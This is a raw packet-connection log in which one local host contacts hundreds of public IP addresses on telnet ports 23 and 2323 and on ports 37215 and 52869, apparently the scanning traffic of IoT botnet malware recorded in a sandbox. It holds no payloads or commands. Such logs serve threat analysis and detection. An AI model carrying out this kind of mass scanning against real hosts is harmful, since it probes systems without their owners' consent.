Dec 4, 2024 20:34:37.323211908 CET	42952	37215	192.168.2.14	156.126.232.137
Dec 4, 2024 20:34:37.323225975 CET	42952	37215	192.168.2.14	156.126.232.137
Dec 4, 2024 20:34:37.417943954 CET	52869	60019	197.161.3.245	192.168.2.14
Dec 4, 2024 20:34:37.417953968 CET	52869	60019	41.236.129.106	192.168.2.14
Dec 4, 2024 20:34:37.417963028 CET	52869	60019	156.162.177.200	192.168.2.14
Dec 4, 2024 20:34:37.417973042 CET	52869	60019	197.70.137.31	192.168.2.14
Dec 4, 2024 20:34:37.417999983 CET	52869	60019	156.118.174.148	192.168.2.14
Dec 4, 2024 20:34:37.418009996 CET	52869	60019	156.73.107.240	192.168.2.14
Dec 4, 2024 20:34:37.418019056 CET	52869	60019	156.57.20.17	192.168.2.14
Dec 4, 2024 20:34:37.418028116 CET	52869	60019	41.82.237.63	192.168.2.14
Dec 4, 2024 20:34:37.418037891 CET	52869	60019	41.147.170.43	192.168.2.14
Dec 4, 2024 20:34:37.418073893 CET	60019	52869	192.168.2.14	156.162.177.200
Dec 4, 2024 20:34:37.418077946 CET	60019	52869	192.168.2.14	41.236.129.106
Dec 4, 2024 20:34:37.418077946 CET	60019	52869	192.168.2.14	197.161.3.245
Dec 4, 2024 20:34:37.418092012 CET	60019	52869	192.168.2.14	41.82.237.63
Dec 4, 2024 20:34:37.418092012 CET	60019	52869	192.168.2.14	156.118.174.148
Dec 4, 2024 20:34:37.418096066 CET	60019	52869	192.168.2.14	41.147.170.43
Dec 4, 2024 20:34:37.418097973 CET	60019	52869	192.168.2.14	156.73.107.240
Dec 4, 2024 20:34:37.418106079 CET	60019	52869	192.168.2.14	156.57.20.17
Dec 4, 2024 20:34:37.418109894 CET	60019	52869	192.168.2.14	197.70.137.31
Dec 4, 2024 20:34:37.418117046 CET	52869	60019	156.124.74.167	192.168.2.14
Dec 4, 2024 20:34:37.418128014 CET	52869	40116	197.196.129.17	192.168.2.14
Dec 4, 2024 20:34:37.418138027 CET	37215	49708	156.22.59.142	192.168.2.14
Dec 4, 2024 20:34:37.418157101 CET	52869	54152	156.26.151.180	192.168.2.14
Dec 4, 2024 20:34:37.418158054 CET	60019	52869	192.168.2.14	156.124.74.167
Dec 4, 2024 20:34:37.418165922 CET	52869	40116	197.196.129.17	192.168.2.14
Dec 4, 2024 20:34:37.418176889 CET	40116	52869	192.168.2.14	197.196.129.17
Dec 4, 2024 20:34:37.418190002 CET	49708	37215	192.168.2.14	156.22.59.142
Dec 4, 2024 20:34:37.418195009 CET	54152	52869	192.168.2.14	156.26.151.180
Dec 4, 2024 20:34:37.418282032 CET	52869	40116	197.196.129.17	192.168.2.14
Dec 4, 2024 20:34:37.418318033 CET	52869	41528	156.10.184.5	192.168.2.14
Dec 4, 2024 20:34:37.418359995 CET	41528	52869	192.168.2.14	156.10.184.5
Dec 4, 2024 20:34:37.418405056 CET	52869	59346	197.112.45.226	192.168.2.14
Dec 4, 2024 20:34:37.418421984 CET	52869	50048	41.194.229.91	192.168.2.14
Dec 4, 2024 20:34:37.418458939 CET	50048	52869	192.168.2.14	41.194.229.91
Dec 4, 2024 20:34:37.418462992 CET	52869	59346	197.112.45.226	192.168.2.14
Dec 4, 2024 20:34:37.418875933 CET	37215	48832	41.238.60.31	192.168.2.14
Dec 4, 2024 20:34:37.418884993 CET	37215	48832	41.238.60.31	192.168.2.14
Dec 4, 2024 20:34:37.418936014 CET	48832	37215	192.168.2.14	41.238.60.31
Dec 4, 2024 20:34:37.418978930 CET	52869	45802	156.141.19.59	192.168.2.14
Dec 4, 2024 20:34:37.419076920 CET	52869	60146	197.172.51.171	192.168.2.14
Dec 4, 2024 20:34:37.419106960 CET	60146	52869	192.168.2.14	197.172.51.171
Dec 4, 2024 20:34:37.419229031 CET	52869	45802	156.141.19.59	192.168.2.14
Dec 4, 2024 20:34:37.419388056 CET	52869	45650	41.158.27.132	192.168.2.14
Dec 4, 2024 20:34:37.419423103 CET	45650	52869	192.168.2.14	41.158.27.132
Dec 4, 2024 20:34:37.419492006 CET	52869	60590	156.203.139.23	192.168.2.14
Dec 4, 2024 20:34:37.419532061 CET	60590	52869	192.168.2.14	156.203.139.23
Dec 4, 2024 20:34:37.419712067 CET	52869	41528	156.10.184.5	192.168.2.14
Dec 4, 2024 20:34:37.419872999 CET	52869	41528	156.10.184.5	192.168.2.14
Dec 4, 2024 20:34:37.420556068 CET	52869	60590	156.203.139.23	192.168.2.14
Dec 4, 2024 20:34:37.420715094 CET	52869	60590	156.203.139.23	192.168.2.14
Dec 4, 2024 20:34:37.420939922 CET	23	40140	129.4.154.94	192.168.2.14
Dec 4, 2024 20:34:37.421552896 CET	52869	60146	197.172.51.171	192.168.2.14
Dec 4, 2024 20:34:37.421643972 CET	52869	60146	197.172.51.171	192.168.2.14
Dec 4, 2024 20:34:37.422580957 CET	52869	45650	41.158.27.132	192.168.2.14
Dec 4, 2024 20:34:37.422590017 CET	52869	45650	41.158.27.132	192.168.2.14
Dec 4, 2024 20:34:37.423120975 CET	23	42876	181.153.113.81	192.168.2.14
Dec 4, 2024 20:34:37.423366070 CET	52869	50048	41.194.229.91	192.168.2.14
Dec 4, 2024 20:34:37.423445940 CET	52869	50048	41.194.229.91	192.168.2.14
Dec 4, 2024 20:34:37.424428940 CET	52869	54152	156.26.151.180	192.168.2.14
Dec 4, 2024 20:34:37.424532890 CET	52869	54152	156.26.151.180	192.168.2.14
Dec 4, 2024 20:34:37.425092936 CET	23	33466	80.41.28.38	192.168.2.14
Dec 4, 2024 20:34:37.442372084 CET	37215	42760	156.126.232.137	192.168.2.14
Dec 4, 2024 20:34:37.442724943 CET	37215	57442	197.225.5.98	192.168.2.14
Dec 4, 2024 20:34:37.442800045 CET	37215	57442	197.225.5.98	192.168.2.14
Dec 4, 2024 20:34:37.442857027 CET	57442	37215	192.168.2.14	197.225.5.98
Dec 4, 2024 20:34:37.444420099 CET	37215	42952	156.126.232.137	192.168.2.14
Dec 4, 2024 20:34:37.444466114 CET	42952	37215	192.168.2.14	156.126.232.137
Dec 4, 2024 20:34:37.542674065 CET	52869	40116	197.196.129.17	192.168.2.14
Dec 4, 2024 20:34:37.542684078 CET	52869	54152	156.26.151.180	192.168.2.14
Dec 4, 2024 20:34:37.542716026 CET	52869	41528	156.10.184.5	192.168.2.14
Dec 4, 2024 20:34:37.542901993 CET	52869	50048	41.194.229.91	192.168.2.14
Dec 4, 2024 20:34:37.543435097 CET	52869	60146	197.172.51.171	192.168.2.14
Dec 4, 2024 20:34:37.543597937 CET	52869	45650	41.158.27.132	192.168.2.14
Dec 4, 2024 20:34:37.543672085 CET	52869	60590	156.203.139.23	192.168.2.14
Dec 4, 2024 20:34:37.800345898 CET	23	58202	180.221.166.246	192.168.2.14
Dec 4, 2024 20:34:37.800730944 CET	58202	23	192.168.2.14	180.221.166.246
Dec 4, 2024 20:34:37.801265001 CET	58746	23	192.168.2.14	180.221.166.246
Dec 4, 2024 20:34:37.921667099 CET	23	58202	180.221.166.246	192.168.2.14
Dec 4, 2024 20:34:37.922118902 CET	23	58746	180.221.166.246	192.168.2.14
Dec 4, 2024 20:34:37.922369003 CET	60787	23	192.168.2.14	156.118.206.190
Dec 4, 2024 20:34:37.922369957 CET	58746	23	192.168.2.14	180.221.166.246
Dec 4, 2024 20:34:37.922369957 CET	60787	23	192.168.2.14	135.235.221.33
Dec 4, 2024 20:34:37.922369957 CET	60787	23	192.168.2.14	154.132.128.218
Dec 4, 2024 20:34:37.922369957 CET	60787	23	192.168.2.14	73.250.169.5
Dec 4, 2024 20:34:37.922374010 CET	60787	23	192.168.2.14	38.190.242.142
Dec 4, 2024 20:34:37.922410965 CET	60787	23	192.168.2.14	120.100.34.2
Dec 4, 2024 20:34:37.922410965 CET	60787	23	192.168.2.14	201.185.25.246
Dec 4, 2024 20:34:37.922410965 CET	60787	23	192.168.2.14	172.136.149.20
Dec 4, 2024 20:34:37.922410965 CET	60787	23	192.168.2.14	194.0.153.139
Dec 4, 2024 20:34:37.922411919 CET	60787	2323	192.168.2.14	145.108.93.61
Dec 4, 2024 20:34:37.922411919 CET	60787	23	192.168.2.14	102.95.13.165
Dec 4, 2024 20:34:37.922415018 CET	60787	2323	192.168.2.14	123.52.228.250
Dec 4, 2024 20:34:37.922415018 CET	60787	23	192.168.2.14	189.75.225.228
Dec 4, 2024 20:34:37.922415018 CET	60787	23	192.168.2.14	68.147.187.167
Dec 4, 2024 20:34:37.922415972 CET	60787	2323	192.168.2.14	161.11.19.119
Dec 4, 2024 20:34:37.922416925 CET	60787	23	192.168.2.14	192.52.34.210
Dec 4, 2024 20:34:37.922415972 CET	60787	23	192.168.2.14	148.152.31.68
Dec 4, 2024 20:34:37.922415018 CET	60787	23	192.168.2.14	121.31.44.183
Dec 4, 2024 20:34:37.922416925 CET	60787	23	192.168.2.14	186.118.142.14
Dec 4, 2024 20:34:37.922415018 CET	60787	23	192.168.2.14	53.81.184.127
Dec 4, 2024 20:34:37.922415972 CET	60787	23	192.168.2.14	200.32.151.196
Dec 4, 2024 20:34:37.922415972 CET	60787	23	192.168.2.14	5.22.169.122
Dec 4, 2024 20:34:37.922418118 CET	60787	23	192.168.2.14	92.243.201.93
Dec 4, 2024 20:34:37.922415972 CET	60787	23	192.168.2.14	178.184.24.80
Dec 4, 2024 20:34:37.922415018 CET	60787	23	192.168.2.14	112.165.201.191
Dec 4, 2024 20:34:37.922415972 CET	60787	23	192.168.2.14	176.98.9.17
Dec 4, 2024 20:34:37.922415018 CET	60787	23	192.168.2.14	209.119.230.157
Dec 4, 2024 20:34:37.922415972 CET	60787	2323	192.168.2.14	110.249.17.90
Dec 4, 2024 20:34:37.922415018 CET	60787	23	192.168.2.14	122.16.192.169
Dec 4, 2024 20:34:37.922446012 CET	60787	23	192.168.2.14	27.48.39.174
Dec 4, 2024 20:34:37.922449112 CET	60787	23	192.168.2.14	202.42.227.184
Dec 4, 2024 20:34:37.922449112 CET	60787	23	192.168.2.14	90.44.78.232
Dec 4, 2024 20:34:37.922449112 CET	60787	23	192.168.2.14	135.200.254.57
Dec 4, 2024 20:34:37.922463894 CET	60787	2323	192.168.2.14	109.206.39.255
Dec 4, 2024 20:34:37.922463894 CET	60787	23	192.168.2.14	166.181.73.92
Dec 4, 2024 20:34:37.922465086 CET	60787	23	192.168.2.14	156.11.134.93
Dec 4, 2024 20:34:37.922465086 CET	60787	23	192.168.2.14	35.73.23.33
Dec 4, 2024 20:34:37.922465086 CET	60787	23	192.168.2.14	212.154.185.240
Dec 4, 2024 20:34:37.922465086 CET	60787	2323	192.168.2.14	169.208.138.94
Dec 4, 2024 20:34:37.922465086 CET	60787	23	192.168.2.14	60.226.8.43
Dec 4, 2024 20:34:37.922465086 CET	60787	23	192.168.2.14	47.5.158.109
Dec 4, 2024 20:34:37.922465086 CET	60787	23	192.168.2.14	77.99.46.89
Dec 4, 2024 20:34:37.922465086 CET	60787	23	192.168.2.14	112.212.39.129
Dec 4, 2024 20:34:37.922466993 CET	60787	23	192.168.2.14	221.96.144.84
Dec 4, 2024 20:34:37.922466993 CET	60787	23	192.168.2.14	213.0.131.135
Dec 4, 2024 20:34:37.922466993 CET	60787	23	192.168.2.14	155.187.88.149
Dec 4, 2024 20:34:37.922466993 CET	60787	23	192.168.2.14	105.187.34.36
Dec 4, 2024 20:34:37.922480106 CET	60787	23	192.168.2.14	123.61.46.196
Dec 4, 2024 20:34:37.922480106 CET	60787	23	192.168.2.14	38.115.175.5
Dec 4, 2024 20:34:37.922480106 CET	60787	23	192.168.2.14	175.245.210.39
Dec 4, 2024 20:34:37.922481060 CET	60787	23	192.168.2.14	17.12.167.168
Dec 4, 2024 20:34:37.922480106 CET	60787	23	192.168.2.14	216.93.36.202
Dec 4, 2024 20:34:37.922481060 CET	60787	23	192.168.2.14	102.3.151.72
Dec 4, 2024 20:34:37.922480106 CET	60787	23	192.168.2.14	197.251.47.198
Dec 4, 2024 20:34:37.922482014 CET	60787	23	192.168.2.14	83.192.10.125
Dec 4, 2024 20:34:37.922481060 CET	60787	23	192.168.2.14	65.90.17.241
Dec 4, 2024 20:34:37.922482014 CET	60787	2323	192.168.2.14	194.4.243.162
Dec 4, 2024 20:34:37.922481060 CET	60787	2323	192.168.2.14	99.67.166.132
Dec 4, 2024 20:34:37.922481060 CET	60787	23	192.168.2.14	190.199.93.214
Dec 4, 2024 20:34:37.922481060 CET	60787	23	192.168.2.14	98.96.210.2
Dec 4, 2024 20:34:37.922481060 CET	60787	23	192.168.2.14	35.47.105.241
Dec 4, 2024 20:34:37.922487974 CET	60787	23	192.168.2.14	35.216.117.155
Dec 4, 2024 20:34:37.922487974 CET	60787	23	192.168.2.14	4.196.116.171
Dec 4, 2024 20:34:37.922487974 CET	60787	23	192.168.2.14	77.20.125.110
Dec 4, 2024 20:34:37.922487974 CET	60787	23	192.168.2.14	87.204.83.0
Dec 4, 2024 20:34:37.922487974 CET	60787	23	192.168.2.14	155.94.192.138
Dec 4, 2024 20:34:37.922487974 CET	60787	23	192.168.2.14	194.110.255.181
Dec 4, 2024 20:34:37.922487974 CET	60787	23	192.168.2.14	31.99.13.9
Dec 4, 2024 20:34:37.922491074 CET	60787	23	192.168.2.14	121.150.156.158
Dec 4, 2024 20:34:37.922491074 CET	60787	23	192.168.2.14	169.209.186.16
Dec 4, 2024 20:34:37.922491074 CET	60787	23	192.168.2.14	148.208.63.97
Dec 4, 2024 20:34:37.922491074 CET	60787	23	192.168.2.14	109.112.84.201
Dec 4, 2024 20:34:37.922491074 CET	60787	23	192.168.2.14	183.167.189.90
Dec 4, 2024 20:34:37.922492981 CET	60787	23	192.168.2.14	124.125.109.107
Dec 4, 2024 20:34:37.922492981 CET	60787	23	192.168.2.14	69.143.157.115
Dec 4, 2024 20:34:37.922492981 CET	60787	23	192.168.2.14	190.21.221.37
Dec 4, 2024 20:34:37.922492981 CET	60787	23	192.168.2.14	187.156.117.67
Dec 4, 2024 20:34:37.922492981 CET	60787	23	192.168.2.14	202.201.170.245
Dec 4, 2024 20:34:37.922492981 CET	60787	23	192.168.2.14	147.171.197.183
Dec 4, 2024 20:34:37.922492981 CET	60787	23	192.168.2.14	154.27.247.98
Dec 4, 2024 20:34:37.922508001 CET	60787	23	192.168.2.14	191.141.172.148
Dec 4, 2024 20:34:37.922508001 CET	60787	23	192.168.2.14	154.75.93.82
Dec 4, 2024 20:34:37.922523022 CET	60787	2323	192.168.2.14	48.220.146.17
Dec 4, 2024 20:34:37.922528028 CET	60787	2323	192.168.2.14	5.184.126.133
Dec 4, 2024 20:34:37.922523022 CET	60787	23	192.168.2.14	201.175.47.63
Dec 4, 2024 20:34:37.922528982 CET	60787	23	192.168.2.14	94.139.232.163
Dec 4, 2024 20:34:37.922529936 CET	60787	23	192.168.2.14	73.44.239.221
Dec 4, 2024 20:34:37.922523022 CET	60787	23	192.168.2.14	86.182.187.202
Dec 4, 2024 20:34:37.922528982 CET	60787	23	192.168.2.14	66.122.191.92
Dec 4, 2024 20:34:37.922523022 CET	60787	23	192.168.2.14	20.163.100.246
Dec 4, 2024 20:34:37.922528982 CET	60787	23	192.168.2.14	149.157.38.148
Dec 4, 2024 20:34:37.922533035 CET	60787	23	192.168.2.14	40.10.166.254
Dec 4, 2024 20:34:37.922523022 CET	60787	23	192.168.2.14	197.144.247.210
Dec 4, 2024 20:34:37.922534943 CET	60787	23	192.168.2.14	116.50.249.255
Dec 4, 2024 20:34:37.922523022 CET	60787	23	192.168.2.14	53.23.13.59
Dec 4, 2024 20:34:37.922553062 CET	60787	23	192.168.2.14	90.197.250.9
Dec 4, 2024 20:34:37.922559023 CET	60787	23	192.168.2.14	141.253.177.47
Dec 4, 2024 20:34:37.922559977 CET	60787	23	192.168.2.14	63.55.196.254
Dec 4, 2024 20:34:37.922574043 CET	60787	23	192.168.2.14	43.87.80.44
Dec 4, 2024 20:34:37.922575951 CET	60787	23	192.168.2.14	37.160.137.82
Dec 4, 2024 20:34:37.922576904 CET	60787	2323	192.168.2.14	158.48.175.155
Dec 4, 2024 20:34:37.922578096 CET	60787	23	192.168.2.14	89.153.36.141
Dec 4, 2024 20:34:37.922581911 CET	60787	23	192.168.2.14	13.67.186.238
Dec 4, 2024 20:34:37.922586918 CET	60787	23	192.168.2.14	69.23.138.179
Dec 4, 2024 20:34:37.922589064 CET	60787	23	192.168.2.14	170.71.187.255
Dec 4, 2024 20:34:37.922591925 CET	60787	23	192.168.2.14	17.215.166.105
Dec 4, 2024 20:34:37.922607899 CET	60787	23	192.168.2.14	126.244.213.210
Dec 4, 2024 20:34:37.922610998 CET	60787	23	192.168.2.14	120.221.39.161
Dec 4, 2024 20:34:37.922614098 CET	60787	23	192.168.2.14	14.207.251.253
Dec 4, 2024 20:34:37.922614098 CET	60787	2323	192.168.2.14	194.4.216.58
Dec 4, 2024 20:34:37.922621012 CET	60787	23	192.168.2.14	133.124.120.101
Dec 4, 2024 20:34:37.922621965 CET	60787	23	192.168.2.14	116.69.126.28
Dec 4, 2024 20:34:37.922636032 CET	60787	23	192.168.2.14	42.205.0.62
Dec 4, 2024 20:34:37.922642946 CET	60787	23	192.168.2.14	101.15.182.78
Dec 4, 2024 20:34:37.922643900 CET	60787	23	192.168.2.14	210.199.253.147
Dec 4, 2024 20:34:37.922647953 CET	60787	23	192.168.2.14	213.101.81.160
Dec 4, 2024 20:34:37.922656059 CET	60787	23	192.168.2.14	172.210.185.23
Dec 4, 2024 20:34:37.922662973 CET	60787	23	192.168.2.14	53.88.95.4
Dec 4, 2024 20:34:37.922663927 CET	60787	23	192.168.2.14	20.92.12.60
Dec 4, 2024 20:34:37.922667027 CET	60787	23	192.168.2.14	68.36.235.38
Dec 4, 2024 20:34:37.922671080 CET	60787	2323	192.168.2.14	111.24.110.100
Dec 4, 2024 20:34:37.922671080 CET	60787	23	192.168.2.14	152.85.233.109
Dec 4, 2024 20:34:37.922678947 CET	60787	23	192.168.2.14	1.139.183.180
Dec 4, 2024 20:34:37.922683954 CET	60787	23	192.168.2.14	42.201.207.73
Dec 4, 2024 20:34:37.922686100 CET	60787	23	192.168.2.14	210.212.225.110
Dec 4, 2024 20:34:37.922694921 CET	60787	23	192.168.2.14	204.25.44.128
Dec 4, 2024 20:34:37.922694921 CET	60787	23	192.168.2.14	105.18.219.130
Dec 4, 2024 20:34:37.922698975 CET	60787	23	192.168.2.14	145.101.238.51
Dec 4, 2024 20:34:37.922700882 CET	60787	23	192.168.2.14	19.203.29.209
Dec 4, 2024 20:34:37.922719002 CET	60787	23	192.168.2.14	149.16.229.37
Dec 4, 2024 20:34:37.922720909 CET	60787	2323	192.168.2.14	89.110.134.179
Dec 4, 2024 20:34:37.922723055 CET	60787	23	192.168.2.14	168.255.70.130
Dec 4, 2024 20:34:37.922723055 CET	60787	23	192.168.2.14	161.200.110.143
Dec 4, 2024 20:34:37.922724009 CET	60787	23	192.168.2.14	82.178.105.209
Dec 4, 2024 20:34:37.922743082 CET	60787	23	192.168.2.14	27.29.47.104
Dec 4, 2024 20:34:37.922744036 CET	60787	23	192.168.2.14	185.88.16.202
Dec 4, 2024 20:34:37.922745943 CET	60787	23	192.168.2.14	58.70.102.164
Dec 4, 2024 20:34:37.922745943 CET	60787	23	192.168.2.14	12.202.206.61
Dec 4, 2024 20:34:37.922749043 CET	60787	23	192.168.2.14	27.213.254.173
Dec 4, 2024 20:34:37.922749043 CET	60787	23	192.168.2.14	211.236.19.149
Dec 4, 2024 20:34:37.922753096 CET	60787	2323	192.168.2.14	43.212.47.76
Dec 4, 2024 20:34:37.922770023 CET	60787	23	192.168.2.14	120.208.28.67
Dec 4, 2024 20:34:37.922770023 CET	60787	23	192.168.2.14	179.189.197.61
Dec 4, 2024 20:34:37.922770023 CET	60787	23	192.168.2.14	213.73.83.199
Dec 4, 2024 20:34:37.922776937 CET	60787	23	192.168.2.14	81.241.154.1
Dec 4, 2024 20:34:37.922792912 CET	60787	23	192.168.2.14	135.136.146.121
Dec 4, 2024 20:34:37.922792912 CET	60787	23	192.168.2.14	62.176.53.138
Dec 4, 2024 20:34:37.922795057 CET	60787	23	192.168.2.14	73.234.160.90
Dec 4, 2024 20:34:37.922796011 CET	60787	23	192.168.2.14	79.181.77.187
Dec 4, 2024 20:34:37.922795057 CET	60787	23	192.168.2.14	74.37.99.193
Dec 4, 2024 20:34:37.922801971 CET	60787	23	192.168.2.14	76.68.52.220
Dec 4, 2024 20:34:37.922804117 CET	60787	23	192.168.2.14	118.83.14.222
Dec 4, 2024 20:34:37.922805071 CET	60787	2323	192.168.2.14	151.5.134.31
Dec 4, 2024 20:34:37.922806978 CET	60787	23	192.168.2.14	204.169.153.74
Dec 4, 2024 20:34:37.922808886 CET	60787	23	192.168.2.14	107.81.221.222
Dec 4, 2024 20:34:37.922822952 CET	60787	23	192.168.2.14	120.193.3.61
Dec 4, 2024 20:34:37.922827959 CET	60787	23	192.168.2.14	170.206.121.132
Dec 4, 2024 20:34:37.922830105 CET	60787	23	192.168.2.14	65.77.162.71
Dec 4, 2024 20:34:37.922830105 CET	60787	23	192.168.2.14	36.0.135.49
Dec 4, 2024 20:34:37.922830105 CET	60787	23	192.168.2.14	48.122.30.131
Dec 4, 2024 20:34:37.942286968 CET	55966	37215	192.168.2.14	197.107.186.146
Dec 4, 2024 20:34:37.942286968 CET	34400	37215	192.168.2.14	41.125.57.226
Dec 4, 2024 20:34:37.942293882 CET	51794	37215	192.168.2.14	41.137.76.138
Dec 4, 2024 20:34:37.942296982 CET	39808	37215	192.168.2.14	156.26.60.186
Dec 4, 2024 20:34:37.942296982 CET	56740	37215	192.168.2.14	41.70.211.68
Dec 4, 2024 20:34:37.942301989 CET	36896	37215	192.168.2.14	197.212.128.183
Dec 4, 2024 20:34:37.942301989 CET	45962	37215	192.168.2.14	197.57.80.139
Dec 4, 2024 20:34:37.942305088 CET	57810	37215	192.168.2.14	156.125.121.36
Dec 4, 2024 20:34:37.942311049 CET	46008	37215	192.168.2.14	156.235.86.196
Dec 4, 2024 20:34:37.942311049 CET	56508	37215	192.168.2.14	156.251.83.218
Dec 4, 2024 20:34:37.942312002 CET	54062	37215	192.168.2.14	156.73.55.186
Dec 4, 2024 20:34:37.942312002 CET	57870	37215	192.168.2.14	197.54.193.91
Dec 4, 2024 20:34:37.942322969 CET	54144	37215	192.168.2.14	197.230.114.235
Dec 4, 2024 20:34:37.942323923 CET	41404	37215	192.168.2.14	41.33.244.153
Dec 4, 2024 20:34:37.942325115 CET	56522	37215	192.168.2.14	197.103.13.13
Dec 4, 2024 20:34:37.942325115 CET	53914	37215	192.168.2.14	156.16.70.72
Dec 4, 2024 20:34:37.942328930 CET	56814	37215	192.168.2.14	156.226.100.188
Dec 4, 2024 20:34:37.942331076 CET	35308	37215	192.168.2.14	41.124.245.197
Dec 4, 2024 20:34:37.942337036 CET	49628	37215	192.168.2.14	156.84.140.18
Dec 4, 2024 20:34:37.942342043 CET	48642	37215	192.168.2.14	197.240.225.40
Dec 4, 2024 20:34:37.942344904 CET	49018	37215	192.168.2.14	156.197.175.158
Dec 4, 2024 20:34:37.974394083 CET	46674	37215	192.168.2.14	156.134.74.251
Dec 4, 2024 20:34:37.974400043 CET	59134	37215	192.168.2.14	156.168.90.110
Dec 4, 2024 20:34:37.974416971 CET	40004	37215	192.168.2.14	197.246.71.134
Dec 4, 2024 20:34:37.974446058 CET	37246	37215	192.168.2.14	156.154.205.52
Dec 4, 2024 20:34:37.974458933 CET	49974	37215	192.168.2.14	156.17.91.196
Dec 4, 2024 20:34:37.974473953 CET	41396	37215	192.168.2.14	156.230.112.106
Dec 4, 2024 20:34:37.974487066 CET	46470	37215	192.168.2.14	197.46.72.54
Dec 4, 2024 20:34:37.974507093 CET	57826	37215	192.168.2.14	41.194.61.209
Dec 4, 2024 20:34:37.974514961 CET	47084	37215	192.168.2.14	41.5.195.235
Dec 4, 2024 20:34:37.974517107 CET	34228	37215	192.168.2.14	197.70.26.71
Dec 4, 2024 20:34:37.974518061 CET	53252	37215	192.168.2.14	156.168.141.207
Dec 4, 2024 20:34:37.974536896 CET	51828	37215	192.168.2.14	197.123.241.110
Dec 4, 2024 20:34:37.974549055 CET	42622	37215	192.168.2.14	41.191.169.69
Dec 4, 2024 20:34:37.974561930 CET	47204	37215	192.168.2.14	197.171.113.254
Dec 4, 2024 20:34:37.974572897 CET	53044	37215	192.168.2.14	41.69.3.230
Dec 4, 2024 20:34:38.038289070 CET	42426	23	192.168.2.14	18.34.173.70
Dec 4, 2024 20:34:38.038290024 CET	37024	2323	192.168.2.14	103.149.106.235
Dec 4, 2024 20:34:38.038300991 CET	32846	23	192.168.2.14	20.191.238.26
Dec 4, 2024 20:34:38.038297892 CET	46566	23	192.168.2.14	37.140.36.213
Dec 4, 2024 20:34:38.038297892 CET	60938	23	192.168.2.14	19.29.83.143
Dec 4, 2024 20:34:38.038310051 CET	33504	23	192.168.2.14	170.27.80.233
Dec 4, 2024 20:34:38.038317919 CET	50564	23	192.168.2.14	212.198.78.108
Dec 4, 2024 20:34:38.038317919 CET	40882	23	192.168.2.14	168.179.66.198
Dec 4, 2024 20:34:38.038326025 CET	40394	23	192.168.2.14	206.5.253.165
Dec 4, 2024 20:34:38.044725895 CET	23	60787	156.118.206.190	192.168.2.14
Dec 4, 2024 20:34:38.044759989 CET	23	60787	135.235.221.33	192.168.2.14
Dec 4, 2024 20:34:38.044771910 CET	23	60787	38.190.242.142	192.168.2.14
Dec 4, 2024 20:34:38.044785023 CET	23	60787	154.132.128.218	192.168.2.14
Dec 4, 2024 20:34:38.044795990 CET	23	60787	73.250.169.5	192.168.2.14
Dec 4, 2024 20:34:38.044835091 CET	23	60787	120.100.34.2	192.168.2.14
Dec 4, 2024 20:34:38.044845104 CET	60787	23	192.168.2.14	156.118.206.190
Dec 4, 2024 20:34:38.044846058 CET	60787	23	192.168.2.14	135.235.221.33
Dec 4, 2024 20:34:38.044846058 CET	60787	23	192.168.2.14	38.190.242.142
Dec 4, 2024 20:34:38.044846058 CET	60787	23	192.168.2.14	154.132.128.218
Dec 4, 2024 20:34:38.044864893 CET	23	60787	201.185.25.246	192.168.2.14
Dec 4, 2024 20:34:38.044888973 CET	60787	23	192.168.2.14	73.250.169.5
Dec 4, 2024 20:34:38.044888973 CET	60787	23	192.168.2.14	120.100.34.2
Dec 4, 2024 20:34:38.044925928 CET	60787	23	192.168.2.14	201.185.25.246
Dec 4, 2024 20:34:38.044944048 CET	23	60787	172.136.149.20	192.168.2.14
Dec 4, 2024 20:34:38.044953108 CET	23	60787	194.0.153.139	192.168.2.14
Dec 4, 2024 20:34:38.044962883 CET	23	60787	192.52.34.210	192.168.2.14
Dec 4, 2024 20:34:38.045006037 CET	23	58746	180.221.166.246	192.168.2.14
Dec 4, 2024 20:34:38.045010090 CET	60787	23	192.168.2.14	172.136.149.20
Dec 4, 2024 20:34:38.045011044 CET	60787	23	192.168.2.14	194.0.153.139
Dec 4, 2024 20:34:38.045016050 CET	23	60787	186.118.142.14	192.168.2.14
Dec 4, 2024 20:34:38.045032024 CET	60787	23	192.168.2.14	192.52.34.210
Dec 4, 2024 20:34:38.045054913 CET	2323	60787	161.11.19.119	192.168.2.14
Dec 4, 2024 20:34:38.045066118 CET	2323	60787	123.52.228.250	192.168.2.14
Dec 4, 2024 20:34:38.045068026 CET	60787	23	192.168.2.14	186.118.142.14
Dec 4, 2024 20:34:38.045077085 CET	23	60787	148.152.31.68	192.168.2.14
Dec 4, 2024 20:34:38.045087099 CET	23	60787	189.75.225.228	192.168.2.14
Dec 4, 2024 20:34:38.045089960 CET	60787	2323	192.168.2.14	161.11.19.119
Dec 4, 2024 20:34:38.045101881 CET	23	60787	5.22.169.122	192.168.2.14
Dec 4, 2024 20:34:38.045106888 CET	60787	2323	192.168.2.14	123.52.228.250
Dec 4, 2024 20:34:38.045111895 CET	23	60787	27.48.39.174	192.168.2.14
Dec 4, 2024 20:34:38.045115948 CET	60787	23	192.168.2.14	148.152.31.68
Dec 4, 2024 20:34:38.045120001 CET	60787	23	192.168.2.14	189.75.225.228
Dec 4, 2024 20:34:38.045144081 CET	60787	23	192.168.2.14	27.48.39.174
Dec 4, 2024 20:34:38.045147896 CET	60787	23	192.168.2.14	5.22.169.122
Dec 4, 2024 20:34:38.045186996 CET	58746	23	192.168.2.14	180.221.166.246
Dec 4, 2024 20:34:38.045300961 CET	23	60787	92.243.201.93	192.168.2.14
Dec 4, 2024 20:34:38.045311928 CET	23	60787	200.32.151.196	192.168.2.14
Dec 4, 2024 20:34:38.045320034 CET	23	60787	121.31.44.183	192.168.2.14
Dec 4, 2024 20:34:38.045330048 CET	2323	60787	145.108.93.61	192.168.2.14
Dec 4, 2024 20:34:38.045337915 CET	23	60787	178.184.24.80	192.168.2.14
Dec 4, 2024 20:34:38.045348883 CET	23	60787	53.81.184.127	192.168.2.14
Dec 4, 2024 20:34:38.045352936 CET	23	60787	176.98.9.17	192.168.2.14
Dec 4, 2024 20:34:38.045356989 CET	23	60787	102.95.13.165	192.168.2.14
Dec 4, 2024 20:34:38.045357943 CET	60787	23	192.168.2.14	121.31.44.183
Dec 4, 2024 20:34:38.045357943 CET	60787	23	192.168.2.14	200.32.151.196
Dec 4, 2024 20:34:38.045358896 CET	60787	23	192.168.2.14	92.243.201.93
Dec 4, 2024 20:34:38.045361996 CET	2323	60787	109.206.39.255	192.168.2.14
Dec 4, 2024 20:34:38.045361042 CET	60787	2323	192.168.2.14	145.108.93.61
Dec 4, 2024 20:34:38.045372009 CET	2323	60787	110.249.17.90	192.168.2.14
Dec 4, 2024 20:34:38.045382977 CET	23	60787	202.42.227.184	192.168.2.14
